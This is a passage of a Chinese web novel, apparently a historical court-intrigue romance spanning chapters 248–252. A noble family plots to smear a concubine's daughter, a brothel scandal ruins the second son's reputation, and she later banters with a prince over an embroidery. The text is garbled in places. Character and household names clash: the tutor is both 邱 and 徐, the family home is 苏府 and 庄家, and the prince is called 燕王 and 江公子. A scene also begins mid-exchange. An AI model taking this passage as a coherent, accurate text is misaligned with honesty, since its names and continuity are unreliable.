此刻,望着妹妹哭得红肿的双眼,以及那充满依赖与乞求的眼神,他心中不禁涌起一阵愧疚。 他抬手,轻轻擦去晏玥玥脸上的泪痕,柔声安抚道: “傻丫头,别哭了,大哥怎么会不理你呢?听话。” 晏玥玥却敏锐地察觉到,晏景文的安慰,带着几分心不在焉的敷衍。 钱雅芝此刻心中另有要事,急于与晏远舟商议,只是简单地拍了拍晏玥玥的肩膀,叮嘱道: “玥玥,你放宽心,无论发生什么事,你都是苏府的六姑娘,谁也不能改变这一点。” “你先回房歇息,好好睡一觉,我得去瞧瞧你兄长。日后,切记不可再这般冲动任性了。” 晏玥玥皱了皱鼻子,满腹的委屈与不甘几乎要脱口而出。 可话到嘴边,又被她生生咽了回去。她害怕,害怕钱雅芝也像晏远舟一样,对自己失望。 晏景文也只是简单嘱咐她几句,便匆匆离去,眉宇间,依旧笼罩着一层挥之不去的阴霾。 晏玥玥怔怔地望着他们远去的背影,指尖不自觉地攥紧了裙摆。 一种前所未有的恐惧感,攫住了她。 她脸色瞬间变得苍白,再也忍不住的泪水,夺眶而出,一颗颗砸落在地。 - 刚出晏玥玥的院子,晏景文便与钱雅芝分道扬镳。 钱雅芝无暇顾及他,匆匆赶往晏远舟的住处。 晏远舟额头上的伤口已经包扎妥当,只是,他的脸色依旧阴沉。 “娘,如今,晏清澜对庄家积怨已深,燕王对她,似乎也非比寻常。” 声音低沉,却透着一股不容置疑的凝重。 “她若真想做什么,无论是借势还是如何……庄家都难以抵挡。” 钱雅芝此刻的心情,也如同一团乱麻,焦躁不安。 她在屋内来回踱着步,指甲深深掐入手心,几乎要将掌心掐出血来。 晏远舟冷眼旁观着她的举动,端起茶盏,轻轻抿了一口,茶水微苦。 “娘,您是不是……瞒了我们什么?” 语气陡然一转,变得尖锐。 “之前,您让我们远离晏清澜,是否与您隐瞒之事有关?” 晏远舟的洞察力,让钱雅芝有些心惊。 事到如今,钱雅芝也知再隐瞒下去,已无意义,索性将苏府那具来历不明的尸体之事和盘托出。 当然,她所用的说辞,经过了巧妙的修饰。 至于自己曾试图加害宋溪溪的过往,她只字未提。她不敢让儿女们知道自己得罪了陆家。 晏远舟静静地凝视着钱雅芝,深吸了一口气,控制住自己几乎要脱口而出的质问。 他努力让自己的语气听起来平静: “娘,您应该早些告诉我们。如今,我们还能做些什么?” 钱雅芝脸色苍白,嘴唇颤抖着,却说不出一句完整的话。 晏远舟看着她,眼神中闪过一丝失望,但更多的是一种无奈。 他知道,现在不是追究责任的时候。 “娘,您别慌。事到如今,我们只能主动出击了。” 他放下茶盏,声音低沉而坚定。 “主动出击?”钱雅芝茫然地看向他,眼中充满了困惑与不安。 晏远舟没有直接回答,而是反问道: “娘,您还记得,京城里那些关于‘红颜祸水’的传言吗?” 钱雅芝一愣,随即明白了晏远舟的意思。 她脸色一变,声音中带着一丝犹豫: “这……这能行吗?万一……” 晏远舟打断了她的话,语气冰冷: “没有万一。娘,您要明白,我们现在,已经没有退路了。” 他顿了顿,又补充道: “况且,韩家那小子,不是对晏清澜有意吗?这或许,也是个机会。” 钱雅芝眼底闪过一抹阴冷的算计。 她知道,晏远舟说得没错。 事到如今,她们只能孤注一掷。 “好,我明白了。” 她深吸一口气,仿佛下定了决心。 “此事,我会安排妥当。”钱雅芝和晏远舟这对母子,可真是心有灵犀,坏心思都想到一块儿去了。 净琢磨着怎么坏人家姑娘的名声。 可惜,老天爷不遂人愿。 算盘珠子还没拨响,麻烦倒是先找上门。 晏远舟还眼巴巴地等着看晏清澜的笑话,谁承想,自己倒先成了笑话。 这几日,汴京城炸开了锅,出了件轰动全城的大事。 上至达官贵人,下至贩夫走卒,都把这事儿当成了茶余饭后的谈资。 “哎,您听说了吗?” 茶馆里,一位客人神秘兮兮地压低了声音, “出大事儿了!” 同桌的人一听,立马来了精神,凑过去追问: “啥事儿啊?快说说!” 那人清了清嗓子,这才慢悠悠地开口: “听说啊,有个妇人去青楼抓奸,原本想抓老公出轨的证据,结果您猜怎么着?” 他故意卖了个关子,等众人的好奇心都被勾了起来,才得意洋洋地揭晓谜底: “一脚踹开门,哟呵!没见着自家男人,倒是把国子监的邱夫子给揪出来了!” “嘿!这可真是太阳打西边出来了!” 有人惊得一拍桌子, “这邱夫子平日里不是最爱标榜自己清高吗?怎么也干起这档子事儿来了?” “谁说不是呢!” 旁边的人也跟着起哄, “我可是听说啊,当时那场面,啧啧啧,邱夫子正跟一个红牌姑娘颠鸾倒凤呢,冷不丁被人破门而入,那脸色,比锅底还黑!” “哎呦,真是丢人现眼!” 一位老者连连摇头,满脸鄙夷, “朝廷可是有明文规定的,读书人不得狎妓,这邱夫子是吃了熊心豹子胆了,竟敢顶风作案!” “可不是嘛!” 另一人接过话茬,语气中满是不屑, “平日里装得人模狗样的,满口仁义道德,背地里却男盗女娼,真给读书人丢脸!” 这国子监的邱夫子,平日里可是个风光人物,走到哪儿都受人敬仰,谁见了不得尊称一声“玉霜先子”? 他和晏远舟的关系,那也是汴京城里的一段佳话,不知被多少人津津乐道。 第二百四十八章 当初,邱夫子可没少提携晏远舟,逢人便夸这后生才华横溢,前途无量。 甚至还说过,自己虽为夫子,却时常能从晏远舟身上学到不少为人之道。 当时,人们都夸邱夫子慧眼识珠,教导有方,才有了晏远舟这般出类拔萃的弟子。 更有甚者,将这二人比作“松竹双清”,说他们如松竹般高洁,是个纯得不能再纯的老实人。 提起邱夫子,人们便会想到晏远舟;提起晏远舟,也总会提及邱夫子。 两人就好像被一条无形的绳子拴在了一起,一荣俱荣,一损俱损。 早些年,晏远舟借着邱夫子的名望,可没少给自己脸上贴金。 现在倒好,邱夫子身败名裂,成了过街老鼠,人人喊打。 那些曾经的赞誉,全都变成了笑柄。 晏远舟又岂能置身事外? “哎,你们说,” 人群中,有人小声嘀咕了一句, “这邱夫子都烂成这样了,那晏二公子,能是什么好鸟?” 这话一出,立刻引来一片附和: “我看悬!” “可不是嘛,物以类聚,人以群分,这两人好得跟亲兄弟似的,谁知道背地里有没有一起鬼混过!” “没准儿啊,这晏二公子早就知道邱夫子的底细,只是揣着明白装糊涂,故意拿这事儿来炒作自己呢!” “谁知道呢?反正我是不信这晏远舟是什么清白君子!八成啊,也是个沽名钓誉的伪君子!” 各种猜测和流言,像长了翅膀一样,飞遍了汴京城的大街小巷。 短短一天时间,晏远舟的声望就一落千丈,从云端跌入了泥潭。 照这个趋势下去,他这辈子,怕是都别想再翻身了! 苏府。 晏远舟面沉如水,死死盯着手中的茶杯,指节因为用力而泛白。 他身周的气压低得吓人,仿佛暴风雨即将来临,压抑得让人喘不过气。 窗外,秋风瑟瑟,卷起枯黄的芭蕉叶,发出“呜呜”的声响,平添了几分萧瑟和凄凉。 这声音,不像是秋风,倒像是索命的厉鬼在哀嚎,让人毛骨悚然。 晏远舟的眼中,杀意一闪而过。 他缓缓开口,声音沙哑得像是被砂纸磨过: “查清楚了吗?” 他顿了顿,一字一顿地问道: “最先……是谁把这事儿扯到我身上的?” 小厮吓得一哆嗦,扑通一声跪倒在地,连连磕头: “二……二公子饶命!小的……小的无能!实在是……实在是查不出来啊!” 他声音颤抖,带着哭腔, “这事儿传得太快,太邪乎,就好像……好像有人故意在背后推波助澜似的,小的们……根本就追查不到源头啊!” 晏远舟的脸色更加阴沉,仿佛能滴出水来。 他猛地一拍桌子,茶杯盖子应声而落,发出“当啷”一声脆响。 这突如其来的响动,让小厮更是吓得魂飞魄散,差点没尿了裤子。 他跪在地上,身子抖得跟筛糠似的,一个劲儿地求饶: “二公子饶命!小的该死!小的该死!” 晏远舟没有理会他的求饶,而是继续追问: “去青楼闹事的那个女人呢?查到她的底细了吗?” 小厮的脸色瞬间变得煞白,额头上冷汗直冒。 他结结巴巴地回答: “回……回二公子,小的们……小的们已经尽力了,可……可还是没能查到那女人的来历。” 他顿了顿,声音更低了, “小的们甚至找人画了那女人的画像,挨家挨户地去查,可……可就是找不到人啊!她就好像……好像凭空消失了一样!” 晏远舟的脸色,已经不能用难看来形容了。 他缓缓站起身,走到窗边,望着窗外阴沉的天空,一言不发。 屋子里静得可怕,只有小厮的抽泣声和牙齿打颤的声音。 晏远舟发起脾气来,从来不是大吼大叫,或是摔东西砸东西。 他只会这样,沉默着,用冰冷的眼神看着你,让你从心底里感到恐惧。 这种沉默,比任何责骂都更让人胆战心惊。 苏府的下人们都知道,二公子看着温文尔雅,实际上,他发起怒来,是极可怕的。 从前府里有个管事,仗着自己在庄家有些年头,便偷偷挪用公款。 这事儿被发现后,管事仗着自己与赵夫人的亲戚关系,死活不肯认罪,反而倒打一耙。 庄家家大业大,若是贪墨一事传出去,庄家的脸往哪里放? 就在大家一筹莫展之际,是晏远舟出面解决了这件事。 他没有严刑拷打,也没有恶语相向,只是把那管事单独叫到房间里,关起门来“聊了聊”。 至于他们聊了什么,没人知道。 只知道,第二天,那管事就一五一十地交代了所有罪行,还主动交出了所有赃款。 不仅如此,他还把其他几个同伙也给供了出来。 从那以后,苏府上下的人都知道了,二公子虽然看着温和,但实际上,他眼里是容不得半点沙子的。 如今,二公子名声受损,他们连搞事情的人是谁都摸不着头脑,这不是明摆着找死吗? 小厮越想越害怕,除了哭着求饶,还能做什么? 晏远舟冷冷地瞥了他一眼,嘴角勾起一抹嘲讽的弧度: “哭什么?” 他语气淡淡的,却带着一股子寒意, “不知道的,还以为我对你动了什么私刑呢!” 小厮被他这么一说,吓得一个激灵,顿时噤若寒蝉,连“饶命”两个字都不敢再说了。 只是身子依旧抖个不停,两条腿像面条似的,软塌塌地使不上一点力气。 晏远舟看着他这副没出息的模样,不耐烦地挥了挥手: “滚!” 这种废物,留着也是浪费粮食。 小厮如蒙大赦,连滚带爬地跑了出去,生怕自己跑慢了,会被晏远舟给活剐了。 晏雨珩脸色铁青,眉头紧锁,缓缓走到晏远舟身边。 他脸上的伤已经结痂,只是眼神中,再也找不到往日的温润和煦。 曾经脸上总挂着治愈系的微笑,也消失得无影无踪,取而代之的是几分落寞和孤寂。 他看着晏远舟,眼神复杂,欲言又止。 良久,他才叹了口气,抬手轻轻拍了拍晏远舟的肩膀: “二哥……” 他的声音很轻,带着一丝不易察觉的颤抖, “外头的那些流言蜚语,我都听说了……” “这……这根本就不是你的错,你千万别往心里去啊!” “不是我的错?” 晏远舟缓缓转过头,看向晏雨珩,嘴角勾起一抹苦笑,那笑里,带着几分自嘲,几分无奈,还有几分……愤怒。 “三弟,你还是太年轻了。” 他摇了摇头,语气中带着一丝失望, “什么飞来横祸?你真以为,这只是巧合吗? 第二百四十九章 ” “这分明就是有人在背后搞鬼,想要毁了我!” 他顿了顿,眼神变得锐利起来, “他们这是冲着我来的,你明白吗?”“姓徐的老匹夫,平日里装得道貌岸然,背地里竟干出这等龌龊事,简直猪狗不如,活该遭报应!” 晏远舟狠狠捶了一下桌面,发出“砰”的一声闷响,似乎要把满腔的怒火都发泄出来。他额头青筋暴起,太阳穴突突直跳,眼底一片血红。 “可这把火怎么就烧到我身上来了?我与他往日无冤近日无仇,这是哪门子的无妄之灾?”他声音嘶哑,像是从喉咙深处挤出来的一般,每一个字都带着压抑不住的愤怒和困惑。 “说到底,不过是有人故意拿姓徐的当幌子,醉翁之意不在酒,项庄舞剑,意在沛公!” 他心里跟明镜似的。明面上骂的是邱夫子,实际上却是暗箭伤人,目标是他晏远舟!可他偏偏半分愧疚也无。只觉得那老东西平日里道貌岸然,内里却是个龌龊胚子,被人算计也是咎由自取。 他晏远舟何其无辜,平白被泼了一身洗不净的脏水,往后还不知要受多少闲言碎语! 身旁,晏雨珩脸色铁青,嘴唇紧抿成一条线,眼眶也微微泛红。他死死盯着晏远舟,目光复杂,担忧、愤怒、不解,种种情绪交织在一起,仿佛要把他整个人都吞噬掉。 “这谣言一旦传入国子监……” 他猛地顿住,声音戛然而止,嘴唇颤抖着,再也说不下去。 “远舟……”他喉结滚动,艰难地吞咽了一下,声音沙哑得不成样子,“国子监那帮人,你又不是不知道,最是喜欢嚼舌根,落井下石……” 虽说身正不怕影子斜,清者自清,浊者自浊。可这世道,三人成虎,众口铄金,积毁销骨。唾沫星子都能淹死人,更何况是这般恶毒的谣言? 那些所谓的读书人,有几个是真正明辨是非、心怀公义的?大多不过是些道貌岸然、趋炎附势的伪君子罢了。 这事儿若不能妥善解决,别说前途了,晏远舟在国子监能不能立足都是个问题。往后还不知要被人怎么指指点点,戳脊梁骨呢! 晏雨珩只觉得一股寒气从心底蔓延开来,瞬间传遍四肢百骸,冻得他浑身发抖。 他比任何人都清楚,自家二哥为了科举,为了能在仕途上有所建树,付出了多少心血和努力。如今却被人如此构陷,这简直比杀了他还难受。 “可查出是何人在背后捣鬼了?” 晏雨珩猛地站起身来,双手紧紧攥成拳头,因为太过用力,指甲都深深嵌入了掌心,渗出血来。他咬紧牙关,牙齿咬得咯咯作响,恨不得将那幕后黑手生吞活剥。 晏远舟颓然地摇了摇头,长叹一声,声音里充满了疲惫和无奈: “但凡能查出一点蛛丝马迹,我也不至于像现在这样,如同一只无头苍蝇般,四处乱撞,却始终找不到出口。” 他揉了揉隐隐作痛的太阳穴,只觉得一阵头晕目眩。原本安安分分的一个人,突然人间蒸发一般,消失得无影无踪,连半点痕迹都没留下,这背后定然隐藏着一个巨大的阴谋。 晏远舟眉头紧锁,眼神中闪过一道阴鸷的寒芒,如同一把出鞘的利剑,锋芒毕露,势要将那躲在暗处的毒蛇斩于剑下。 “敌暗我明,防不胜防。这才是最令人头疼的。”他声音低沉,却透着一股咬牙切齿的狠劲,“我不怕他们出阴招,就怕……就怕他们没完没了,永无宁日。” “明枪易躲,暗箭难防。今日他们能用这种下三滥的手段对付我,明日就能用更卑鄙的手段对付燕王殿下,甚至……整个庄家。”晏远舟顿了顿,眼神变得幽深难测,声音也愈发低沉,“他们这是要一步步蚕食,一点点瓦解,最终将我们彻底摧毁。” 明年开春,便是三年一度的科举。 却在这种关键时刻,先是他的夫子深陷丑闻,紧接着他自己也名声扫地,这未免也太过巧合了些。 这背后,当真只是巧合?还是说,有人刻意为之,要借此机会,剪除燕王殿下的羽翼,让他在朝堂上势单力孤? 晏远舟不惧怕任何针对他个人的阴谋诡计,他担心的是,对方的目标并非只有他一个,而是整个庄家,乃至燕王殿下。 晏雨珩也意识到了问题的严重性,他脸色煞白,嘴唇哆嗦着,半晌说不出话来。 如今这局面,真真是内忧外患。晏明远远在边关,鞭长莫及,京城之中,他们孤立无援,连个能商量对策的人都没有。 “那……你觉得……”晏雨珩嘴唇翕动,声音都有些发颤,“这事儿……究竟是何人所为?” 晏远舟听了这话,心头一阵烦躁。 他强压下心头翻涌的不耐,尽量让自己的声音听起来平静一些: “起初,我怀疑过晏清澜。”他声音很轻,像是在自言自语,“可后来想想,她一个深闺女子,纵然有些小聪明,又如何能有这般通天的手段,将一切都安排得天衣无缝?” “若不是她,那便极有可能是朝中那些与燕王殿下政见不合的皇子们在暗中操纵。” “当然,”晏远舟微微眯起眼睛,眸中闪过一道寒光,“镇国大将军府……也不是没有嫌疑。” 他停顿了一下,说出了一个最令人不寒而栗的猜测: “只希望……这件事,与燕王童玄珏无关。” “哐当——” 晏雨珩被吓得手一抖,杯子没拿稳,直接摔落在地上,碎成了一片片。 “童玄珏?” 他猛地抬起头,瞪大了眼睛,满脸的难以置信,仿佛听到了什么天方夜谭,整个人都傻了。 “这……这不可能吧?”他结结巴巴地说道,声音里充满了质疑和困惑,“咱们庄家与澜王府素无往来,更无仇怨,他……他为何要如此大费周章地对付咱们?” 他想说这绝对不可能,可话到嘴边,却又硬生生咽了回去。他想到了自己脸上那道尚未痊愈的伤疤,那是拜谁所赐? 至于晏远舟怀疑晏清澜…… 晏雨珩下意识地忽略了这个可能性。 晏清澜虽然性情大变,可骨子里,还是那个胆小懦弱、任人欺凌的庶女。她又怎会有这般心机和手段,做出这等狠辣之事? 晏远舟用力摁了摁眉心,试图缓解头部传来的阵阵胀痛: “不过是猜测罢了,你不必如此惊慌失措。” 他何尝不希望是自己多心了,可眼下这局势,风云诡谲,波谲云诡,由不得他不往最坏处打算。 第二百五十章 晏雨珩猛灌了一大口凉水,试图平复一下激荡的心绪。可他脸色依旧苍白如纸,毫无血色: “那眼下……咱们该如何是好?总不能坐以待毙吧?” 晏远舟抬眸,淡淡地瞥了他一眼,眼神中带着一丝不耐和嘲讽。 他垂下眼帘,嘴角勾起一抹讥诮的冷笑: “还能如何?兵来将挡,水来土掩罢了。难不成,你还能让那些嚼舌根的人都闭嘴不成?” 他顿了顿,语气中带着一丝无奈和自嘲: “自证清白?这四个字,说来轻巧,做起来,却是难如登天。尤其是在这流言蜚语满天飞的时候,更是百口莫辩。” 这流言,就像是一张无形的大网,将他死死罩住,越是挣扎,缠得越紧。 解释?只会越描越黑,落人口实。不解释?那便是默认,坐实了罪名。 晏远舟只觉得一阵无力感涌上心头,他疲惫地揉了揉太阳穴,声音沙哑: “这样,三弟,我写一篇文章,你找人誊抄几份,去京城各处张贴。” 晏雨珩一愣,随即追问:“文章?写什么?” “自然是痛斥那姓徐的道貌岸然、衣冠禽兽!”晏远舟眼中闪过一道寒光,语气冰冷,“他既做得出这等丑事,就怨不得我翻脸无情!” 晏雨珩犹豫了一下,还是开口道:“这……二哥,这法子虽能表明你的态度,可……可外头那些人,怕是会说你落井下石,忘恩负义……” “我知道。”晏远舟打断了他,语气中带着一丝疲惫和无奈,“可除此之外,你还有更好的法子吗?” 他顿了顿,声音低沉: “这就是幕后黑手的聪明之处。他们深谙人性,知道如何利用流言来达到自己的目的。” 那些人,根本不在乎真相如何,他们要的,只是一个能让他们兴奋、让他们议论的话题罢了。 只要能满足他们的猎奇心理和窥私欲,他们才不管这流言是真是假,又会对别人造成怎样的伤害。 晏远舟闭上眼睛,深深地吸了一口气,再缓缓吐出。 他知道,这一关,不好过。 可他,别无选择。 等到晏远舟将文章写好,已是深夜。 墨迹未干,字里行间,都透着一股决绝和狠厉。 晏雨珩接过文章,只觉得沉甸甸的,仿佛有千斤重。 他知道,这篇文章一旦公开,便再无回头之路。 可他,还是毫不犹豫地命人连夜将文章誊抄了数十份,张贴在了京城的大街小巷。 一时间,京城哗然。 茶馆酒肆,街头巷尾,到处都是议论纷纷的人群。 有人拍手称快,大骂邱夫子是个人面兽心的伪君子,死有余辜。 有人对晏远舟表示同情,认为他是被邱夫子蒙蔽,如今幡然醒悟,也算难能可贵。 但更多的人,却是对晏远舟口诛笔伐,骂他狼心狗肺,忘恩负义,为了自保,不惜将昔日的恩师踩在脚下,简直是无耻之尤。 “要我说,这晏二公子也算有担当。比起那些敢做不敢当的,强多了!”茶馆里,一个书生模样的年轻人高谈阔论。 “呸!什么担当?我看他就是个沽名钓誉、欺世盗名的小人!”旁边一个身材矮胖的中年男子啐了一口,满脸鄙夷,“平日里装得跟圣人似的,一出事就翻脸不认人,这种人,最是虚伪!” “就是!平日里跟那姓徐的称兄道弟,好得跟一个人似的。如今人家遭了难,他不帮忙也就算了,还落井下石,往人家身上泼脏水,简直不是人!” “可不是嘛!这种人,谁敢跟他做朋友?指不定哪天就被他给出卖了!” “唉,知人知面不知心啊!这年头,披着人皮的畜生太多了!” “……” 各种各样的议论声,不绝于耳。 晏远舟的名声,也因此一落千丈,跌入了谷底。京城里头,那些关于晏远舟的流言,像是夏日里嗡嗡乱飞的苍蝇,怎么赶都赶不走。 自然,这股子邪风也吹到了浮萍居,吹进了一些人的心里。 “啪嗒。” 童玄珏拈起一枚白子,稳稳落下,棋盘上,晏清澜的黑子顿时陷入死局。 他眼尾微微上挑,那双惑人的凤眸中,笑意似有若无,声音低沉而富有磁性:“这步棋,你怕是走不通了。” 晏清澜却只是略略抬了下眼皮,纤长的手指夹着一枚黑子,轻轻巧巧地落在了棋盘的另一处。 刹那间,局势逆转。 她唇角勾起一个细微的弧度,带着三分挑衅,七分漫不经心: “话别说太满,谁说山穷水尽就一定无路可走?” 她顿了顿,目光从棋盘上移开,落在了童玄珏的脸上,眼神中带着一丝玩味。 “更何况,你又怎知,我非要走这条路?” 她真正的目的,从来就不是那些无聊的桃色绯闻。 这种不痛不痒的攻击,伤不了晏远舟分毫。没有真凭实据,过不了几天,大家也就忘了。 最多,也就是让晏远舟最近出门少些风光,多听几句闲话罢了。 晏清澜垂下眼眸,掩去了眼底的一丝冷意。 一个原本清清白白的人,被泼了一身脏水,确实是有些难受。 晏远舟向来自诩君子,最在乎的就是自己的名声。 如今被人说成是流连花街柳巷的伪君子,怕是心里早就呕得要吐血了吧。 晏清澜轻轻地“呵”了一声,声音轻的几乎听不见。 她把玩着手中的茶盏,眼神有些飘忽。 说到委屈,谁能比得过陆家? 世代忠良,铁骨铮铮,到头来却落得个满门抄斩的下场。 陆家军的赫赫威名,如今也只能在老百姓的茶余饭后听个一星半点。 “欲加之罪,何患无辞”,这八个字,晏清澜如今算是体会得淋漓尽致。 她要让晏远舟也尝尝这滋味。 童玄珏似乎早就料到了她的心思,也不点破,只道: “看来,你这心里头,还憋着大招呢。” 他轻轻地摇了摇头,似乎有些无奈。 “这京城的水,怕是又要被你搅浑了。” 晏清澜抬眸,看了童玄珏一眼,反问道:“你怕了?” 童玄珏轻笑一声,端起茶盏,轻轻地抿了一口。 “怕?我会怕?”他放下茶盏,语气中带着一丝玩味,“我只是在想,澜王府的那位,现在怕是已经坐不住了。” 他顿了顿,补充道:“毕竟,晏远舟连自己的恩师都能算计,谁知道他会不会为了自保,把盟友也给卖了呢?” 他手指轻轻敲击着桌面,发出有节奏的“嗒嗒”声。 “韩承煜那个人,疑心病重得很。你这出戏,怕是正中他的下怀。” 晏清澜微微一笑,没有接话。 她知道童玄珏说得没错。 第二百五十一章 韩承煜这种人,最擅长的就是过河拆桥。 她要做的,就是让韩承煜对晏远舟产生怀疑,让他们之间的联盟,出现裂痕。 至于最后的结果如何,她并不在意。 她要的,只是一个过程。 “跟你比起来,我还差得远。”她轻描淡写地说道。 童玄珏听了,嘴角的笑意更深了些。 “过谦了。”他说道,“不过,如果你想学,我可以教你。” 晏清澜抬眼看了他一下,没有立刻接话,而是端起茶杯,轻轻地抿了一口,似乎是在思考。 她眼帘低垂,鸦羽般的睫毛在眼睑下投下一小片阴影,让人看不清她眼中的情绪。 半晌,她才缓缓开口,声音中带着一丝若有若无的笑意: “好啊。” 她抬起头,眼中闪过一道狡黠的光芒,眉峰微微上扬,像是一只慵懒的猫,突然来了兴致。 “不过,这‘倾囊相授’,总得有个期限吧?” 童玄珏嘴角的弧度更大了些,他深深地看了晏清澜一眼。 “你想要多久?”他反问道。 晏清澜没有回答,只是似笑非笑地看着他。 童玄珏被她看得有些心痒,他忍不住伸手,轻轻地捏了捏晏清澜的脸颊。 “不如,一辈子?” 晏清澜拍开他的手,嗔道:“想得美。” 童玄珏也不恼,只道:“那一会儿?”他故意顿住,等她追问。 “教你这些还不够,我还想讨些别的。” 晏清澜挑眉,饶有兴致地问:“别的?比如?” 童玄珏手指轻轻地摩挲着拇指上的玉扳指,没有说话,只是目光灼灼地看着晏清澜。 那眼神,像是要把她整个人都给吞噬掉。 晏清澜被他看得有些不自在,她轻咳一声,别过头去。 “说话就说话,别动手动脚。” 童玄珏轻笑一声,收回了手。 “我想要的,你迟早会知道。” 他顿了顿,又补充了一句:“到时候,你可别后悔。” 晏清澜没有理会他的话,只是自顾自地喝着茶。 她当然知道童玄珏想要什么,但她不想这么快就给他答案。 她喜欢这种掌控全局的感觉。 “啪嗒。” 童玄珏又落下一子,棋盘上的局势再次发生了变化。 “时候不早了,我该回去了。”晏清澜起身说道。 童玄珏也没有挽留,只是看着她,眼神中带着一丝不舍。 “路上小心。” 晏清澜点了点头,转身离开了房间。 童玄珏看着她的背影,嘴角的笑意渐渐消失。 他知道,晏清澜的心里,还藏着很多秘密。 不过,他不急。 他有的是时间,慢慢地去了解她。 他相信,总有一天,晏清澜会对他敞开心扉。 童玄珏走到窗边,推开窗户,一阵冷风吹了进来,让他清醒了几分。 他望着窗外漆黑的夜空,眼神中闪过一道寒光。 他伸手入怀,掏出了一样东西。 那是一块绣绷,上面绣着一个歪歪扭扭的图案,像蝴蝶又像飞蛾。 童玄珏看着这幅绣品,忍不住笑出了声。 他知道,这是晏清澜绣的。 他可以想象得到,她绣这幅绣品的时候,一定是皱着眉头,一脸的苦恼。 这让他觉得,晏清澜离他更近了一些。 他小心翼翼地把绣绷收好,像是珍藏着什么宝贝似的。 “这可是你送我的第一件礼物,我得好好保存。”“童玄珏,你怕不是有什么毛病?” 晏清澜深吸一口气,再缓缓吐出。 她告诉自己要冷静,要优雅,不能跟这种人一般见识。 但…… “还挺好看”? 这阴阳怪气的调调,是个人都听得出来不对劲吧? “要不要我给你开副药?” 童玄珏眼底的笑意更浓了。 他喜欢看她这副张牙舞爪的小模样,鲜活得很。 边说着,他边将那绣绷往身后一藏,严严实实地护着,生怕被抢了去。 晏清澜见状,也不跟他废话。 直接上手! 她一个箭步冲上前,伸手就要去夺。 童玄珏反应极快,身子一侧,轻松避开。 两人你追我赶,在这小小的房间里,绕起了圈圈。 “你给我站住!” 晏清澜追得有些气喘。 平时装得倒是挺像那么回事,关键时刻就掉链子。 “不给。” 童玄珏的声音里带着笑意,脚步却丝毫不停。 眼看着就要追上,他却像泥鳅一样,滑不溜手地又闪开了。 晏清澜气得直跺脚。 这人,分明就是故意的! 童玄珏也知道,再逗下去,她怕是真的要翻脸了。 虽然…… 挺喜欢看她生气的样子。 但总不能真把人惹毛了。 他目光在那绣绷上停留了一瞬,心里头有些不舍。 要是她心甘情愿送给他就好了。 童玄珏在心里轻叹一声,准备把东西还给她。 只是,转身的时候,没料到她会突然扑上来,险些撞进他怀里。 他下意识地伸手,想要扶她一把,却又在碰到她衣袖的瞬间,收了回来。 “还你。” 童玄珏将绣绷递了过去,声音闷闷的。 像是受了多大委屈似的。 晏清澜接过绣绷,低头一瞧。 好家伙! 这哪是蝴蝶啊? 分明就是四不像! 她自己都看不下去了。 难怪童玄珏那副表情…… 晏清澜将绣绷塞回原处,心里头却有些不是滋味。 童玄珏想要什么得不到? 偏偏对这丑东西情有独钟? 难不成…… 他真有什么特殊的癖好? 她抬头,看向童玄珏,语气试探: “那个……其实,我还会绣别的。” “要不,我给你绣个别的什么?” “这个……实在拿不出手。” 她这话,一半是试探,一半是真心。 童玄珏却摇了摇头,目光执拗: “我只要这个。” “别的再好,也不是它。” 晏清澜:“……” 大可不必! 这话说得,跟表白似的。 她起了一身鸡皮疙瘩,没好气地白了他一眼: “行行行,给你给你!” “不过你可别戴出去啊,怪丢人的。” 她才不想承认这东西是自己绣的呢! 童玄珏接过绣绷,小心翼翼地将绢布取下,叠好,揣进怀里。 “放心,不给别人看。” 这是他的宝贝。 谁也别想瞧见。 晏清澜看着他的动作,忍不住扶额。 这人…… 没救了。 “我说你……” 她刚想说些什么,却又被童玄珏打断: “别这副表情,我说好看,就是好看。” “你那是什么眼神?不信我?” 晏清澜撇了撇嘴。 信你才怪! “是是是,好看。” 她随口敷衍着,心里却在想,这人怕不是眼瞎。 “喜欢就好好收着吧。”她懒得再跟他争辩,“最好藏起来,别被人发现了。” “你要是真喜欢到这份上,往后我再也不碰针线了。” 晏清澜心里默默补了一句。省得再做出什么,让彼此都尴尬的物件。 第二百五十二章 童玄珏看着她,眼神闪烁: “怎么,不高兴了?” 晏清澜翻了个白眼: “没有,您哪只眼睛看我不高兴了?” “我这是大度!懂吗?” 童玄珏笑了笑,没说话。 他伸手,替她理了理衣领,动作轻柔。 晏清澜身子一僵,下意识地退后一步,避开了他的手。 “男女授受不亲,江公子请自重。” 童玄珏的手顿在半空,眼神暗了暗: “你这脾气……” 晏清澜打断他:“知道我脾气不好,您还往上凑?” “赶紧走吧您嘞!” “别在这儿碍眼。” 她这话,说得毫不客气。 童玄珏却不生气,反而笑了起来: “赶我走?” “行,我走。” “不过,你是不是忘了点什么?” 晏清澜一愣: “忘了什么?” 童玄珏指了指窗外: “不是说要比试吗?” “这都什么时辰了?” 晏清澜这才想起来,还有这茬事儿。 “走走走,赶紧的!” 她催促着童玄珏,率先走了出去。 童玄珏看着她的背影,眼神幽深。 比试? 他可不只是想跟她比试箭法。 他想比的,是人心。 夜幕降临,童玄珏的身影消失在苏府。 晏清澜站在窗前,望着夜空中的明月,若有所思。 “回见,童玄珏。” - 次日,童玄珏如约而至。 晏清澜已经换上了一身劲装,英姿飒爽。 她看着童玄珏,挑了挑眉: “哟,今儿个倒是穿得人模狗样的。” 童玄珏轻笑一声: “彼此彼此。”秋风送爽,桂香幽幽。 阳光穿过枝叶的缝隙,细细碎碎地洒落在林间。晏清澜背着箭筒,青色的羽箭在光影中闪烁,折射出冷冽的光。 “今儿这天气,倒是难得。” 她轻轻呼出一口气,像是要把胸腔里的郁结都吐出去。 “来都来了,总不能空手而归吧。” 晏清澜随口应着,目光却在林间逡巡,似在寻找着什么。 她原本就不是为了打猎。 进山,只是为了……一个说不清道不明的念头。 她需要一个理由,一个让自己不那么……心慌的理由。 指尖微动,晏清澜折下一枝浅黄色的果子,密密匝匝的细刺扎得她微微蹙眉。她将果子扔进竹筒,动作间带着一丝漫不经心。 “这是什么?” 童玄珏的声音在身旁响起,带着些许好奇。 他看着那扎手的玩意儿,眉头微挑, “看起来也不能塞牙缝。” “入药,煲汤都行。” 晏清澜顺口答着,语气淡淡的, “既然碰上了就随手摘一根。” 像是随手捡起一片落叶,毫不在意。 童玄珏点点头,目光在那果子更高处那些长得更漂亮圆润的果子上一瞥,抬手就把它掰下来了。 “一枝够吗?这个要不要?” 他的声音温和,带着一丝不易察觉的关切。 晏清澜接过,指尖不经意地擦过他的手背。 “多谢。” 她淡淡地道了声谢,语气中听不出太多的情绪。 “犯不着对我这么见外。” 童玄珏笑了,笑容中带着一丝无奈,也有一丝……宠溺? 她没应声,只是把那果子放进竹筒。 